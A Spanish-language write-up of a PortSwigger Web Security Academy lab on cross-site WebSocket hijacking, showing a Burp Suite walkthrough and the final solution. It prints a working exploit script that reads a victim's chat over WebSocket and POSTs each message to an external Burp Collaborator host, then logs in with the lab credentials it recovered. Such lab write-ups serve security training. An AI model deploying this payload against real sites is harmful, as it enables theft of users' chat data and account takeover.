Entrada

WebSockets Lab 2

WebSockets Lab 2

Skills

  • Cross-site WebSocket hijacking

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Para resolver este laboratorio, debemos explotar la funcionalidad de WebSockets para realizar un ataque de Cross-Site WebSocket Hijacking. Esto nos permitirá interceptar el historial del chat de la víctima y usar la información obtenida para comprometer su cuenta


Resolución

Al acceder a la web nos sale esto

Pulsamos sobre Live chat y vemos que hay un chat de IA. Este tipo de chats suelen ser LLM's, un tipo de modelo de IA entrenado con grandes volúmenes de texto para procesar y generar lenguaje natural. Estos modelos, como ChatGPT, son una subcategoría dentro del NLP (Natural Language Processing) y se especializan en tareas como traducción, resumen, análisis de texto y generación de respuestas

Si nos abrimos el inspector de Chrome vemos que tenemos una cookie asignada

Si accedemos a Proxy > WebSockets history podemos ver los datos enviados y recibidos, en el primer mensaje vemos el handshake, el handshake nos indica que ya estamos listos para poder enviar mensajes

El segundo mensaje que obtenemos es al conexión del otro usuario

Enviamos un mensaje

Si nos vamos a Burpsuite podemos ver el mensaje enviado

Si inspeccionamos el código vemos que se está usando wss, este es un socket seguro, el cual funciona sobre HTTPS y cifra las comunicaciones entre cliente y servidor mediante TLS/SSL

Si nosotros recargamos la web con F5 podemos ver como se cargan todos los mensajes nuevamente y se restaura el chat al completo. Podemos comprobar esto desde Burpsuite, cada vez que recargamos la web se cargan todos los mensajes y se vuelve a establecer la conexión

Si borramos nuestra cookie y refrescamos la página se nos asigna una nueva cookie y un nuevo chat

Si sustituimos la cookie por la anterior, podemos volver a recuperar los chats

Una vez validado esto, nos dirigimos a Burpsuite Collaborator, pulsamos en Copy to clipboard, copiamos la dirección url en el script y copiamos el endpoint del chat también para poder establecer una conexión. Una vez tenemos el exploit listo nos dirigimos al Exploit server y lo pegamos

1
2
3
4
5
6
7
8
9
<script>
    var ws = new WebSocket('wss://0a3500160349bd8c84a1ab7400a10009.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://efxlbue9fvngrpy1kw48884j3a91xrlg.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

Cuando pulsemos sobre Deliver exploit to victim le enviaremos la url del servidor donde se aloja nuestro exploit y la víctima hará click sobre ella. Cuando eso ocurra, obtendremos sus chats en nuestro subdominio de Burpsuite Collaborator, en uno de esos chats podemos ver la contraseña del usuario carlos

Pulsamos sobre My account e iniciamos sesión con las credenciales carlos:no5jm5dbv3e89jna369b

Esta entrada está licenciada bajo CC BY 4.0 por el autor.